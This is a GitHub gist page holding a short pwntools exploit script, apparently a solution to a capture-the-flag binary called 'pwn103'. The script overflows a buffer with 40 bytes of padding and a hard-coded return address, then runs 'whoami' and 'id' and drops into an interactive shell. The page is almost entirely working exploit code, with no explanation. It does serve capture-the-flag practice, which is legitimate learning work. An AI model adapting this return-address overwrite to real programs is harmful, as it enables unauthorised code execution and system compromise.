Skip to content

Instantly share code, notes, and snippets.

@7h3h4ckv157
Created May 10, 2022 16:45
Show Gist options
  • Save 7h3h4ckv157/79baab418156ce6f8c198858e0e5022d to your computer and use it in GitHub Desktop.
Save 7h3h4ckv157/79baab418156ce6f8c198858e0e5022d to your computer and use it in GitHub Desktop.
from pwn import *
p = process("./pwn103.pwn103")
payload = b"A"*40 + p64(0x00401554)
p.sendline(b"3")
p.recv()
p.sendline(payload)
p.recv()
p.sendline('whoami')
p.sendline('id')
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment